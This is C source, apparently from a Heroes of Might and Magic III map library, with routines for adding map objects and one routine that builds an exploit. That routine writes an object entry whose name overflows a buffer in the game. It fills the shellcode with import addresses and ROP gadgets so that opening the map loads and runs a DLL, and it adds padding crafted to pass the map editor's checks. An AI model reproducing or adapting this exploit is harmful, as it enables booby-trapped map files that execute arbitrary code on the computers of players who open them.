int h3m_add_oa_by_def(h3mlib_ctx_t ctx, const char *def, int *oa_index) { struct H3M_OA_ENTRY *oa_entry = NULL; struct META_OA_HASH_ENTRY *oa_hash_entry = NULL; const struct H3M_OA_BODY *body = NULL; int oa_body_index = 0; if (NULL == (body = h3m_get_def_body(def, &oa_body_index))) { return 1; } *oa_index = ctx->h3m.oa.count++; ctx->h3m.oa.entries = realloc(ctx->h3m.oa.entries, sizeof(struct H3M_OA_ENTRY) * ctx->h3m.oa.count); oa_entry = &ctx->h3m.oa.entries[ctx->h3m.oa.count - 1]; oa_entry->header.def_size = strlen(def); oa_entry->header.def = (uint8_t *)strdup(def); memcpy(&oa_entry->body, body, sizeof(struct H3M_OA_BODY)); oa_hash_entry = calloc(1, sizeof(*oa_hash_entry)); oa_hash_entry->def = strdup(def); oa_hash_entry->oa_body_index = oa_body_index; oa_hash_entry->oa_index = *oa_index; HASH_ADD_INT(ctx->meta.oa_hash, oa_body_index, oa_hash_entry); return 0; }
int h3m_object_add_by_def(h3mlib_ctx_t ctx, const char *def, int x, int y, int z, int *od_index) { struct META_OA_HASH_ENTRY *oa_hash_entry = NULL; int oa_index = 0; int oa_body_index = 0; // Currently oa_body_index is used as key in the // oa hash... The current code is a bit unoptimal as if this function // ends up calling h3m_add_oa_by_def below, an additional // hash lookup for this hash inside that function will be performed. if (NULL == h3m_get_def_body(def, &oa_body_index)) { return 1; } // if oa for this object has not yet been added to map, add it, // otherwise use the existing oa_index for the oa HASH_FIND_INT(ctx->meta.oa_hash, &oa_body_index, oa_hash_entry); if (NULL == oa_hash_entry) { h3m_add_oa_by_def(ctx, def, &oa_index); } else { oa_index = oa_hash_entry->oa_index; } return h3m_add_od(ctx, oa_index, x, y, z, od_index); }
int h3m_get_oa_index(h3mlib_ctx_t ctx, const char *def, uint32_t *oa_index) { struct META_OA_HASH_ENTRY *oa_hash_entry = NULL; int oa_body_index = 0; if (NULL == h3m_get_def_body(def, &oa_body_index)) { return 1; } HASH_FIND_INT(ctx->meta.oa_hash, &oa_body_index, oa_hash_entry); if (NULL != oa_hash_entry) { *oa_index = oa_hash_entry->oa_index; return 0; } return 1; }
int h3m_code_write_oa_eof_jmp(struct H3M_CODE *hc, uint32_t oa_count, uint32_t od_count, FILE * f) { struct H3M_OA_ENTRY oa_entry = { 0 }; struct shellcode_oa_jmp_to_dll_load_t *shellcode_oa = NULL; const struct H3M_OA_BODY *sign_body = NULL; uint32_t def_size = 0; uint8_t initial_nul[7] = { 0 }; const char SIGN_DEF[] = "avxsndg0.def"; assert(sizeof(SHELLCODE_OA_JMP_TO_DLL_LOAD) == sizeof(*shellcode_oa)); // IAT values not retrieved for demo target, so demo target is currently not supported here if (0 != hc->target && 1 != hc->target) { return 1; } const struct offsets_t *const ofs = TARGET_OFFSETS[hc->target]; const struct iat_t *const iat = TARGET_IATS[hc->target]; // Write an OA entry for sign object, to use it to make map valid in both map editor and game def_size = sizeof(SIGN_DEF)-1; fwrite(&def_size, 1, sizeof(uint32_t), f); fwrite(SIGN_DEF, 1, sizeof(SIGN_DEF)-1, f); sign_body = h3m_get_def_body(SIGN_DEF, NULL); fwrite(sign_body, 1, sizeof(*sign_body), f); // Write an OA entry whose def name causes a buffer overflow executing shellcode to jmp to eof shellcode // Initial 7 bytes: null term, then 2 unused, then 4 that gets trashed def_size = 7 + sizeof(SHELLCODE_OA_JMP_TO_DLL_LOAD); fwrite(&def_size, 1, sizeof(def_size), f); fwrite(initial_nul, 1, sizeof(initial_nul), f); // Save offset of this shellcode so it can be adjusted later hc->shellcode_oa_offset = ftell(f); // Construct & write shellcode in OA def name shellcode_oa = malloc(sizeof(*shellcode_oa)); memcpy(shellcode_oa, SHELLCODE_OA_JMP_TO_DLL_LOAD, sizeof(SHELLCODE_OA_JMP_TO_DLL_LOAD)); shellcode_oa->CreateFileA = iat->CreateFileA; shellcode_oa->ReadFile = iat->ReadFile; shellcode_oa->SetCurrentDirectoryA = iat->SetCurrentDirectoryA; shellcode_oa->VirtualAlloc = iat->VirtualAlloc; shellcode_oa->call_esp_gadget = ofs->call_esp_gadget; shellcode_oa->anticrash_gadget1 = ofs->anticrash_gadget1; shellcode_oa->anticrash_gadget2 = ofs->anticrash_gadget2; fwrite(shellcode_oa, 1, sizeof(*shellcode_oa), f); // For the OA body, put data that makes map editor satisfied by being a valid OA body, while it makes the game // satisfied by being a valid start of OD section memcpy(&oa_entry.body, MAPED_VALIDATION, sizeof(MAPED_VALIDATION)); ((struct H3M_OD *)(&oa_entry.body))->count = od_count + 1; ((struct H3M_OD_ENTRY *)(((uint8_t *)& oa_entry.body) + 4))->header.oa_index = oa_count; fwrite(&oa_entry.body, 1, sizeof(MAPED_VALIDATION), f); if (NULL != hc->shellcode_oa) { free(hc->shellcode_oa); hc->shellcode_oa = NULL; } hc->shellcode_oa = (uint8_t *)shellcode_oa; return 0; }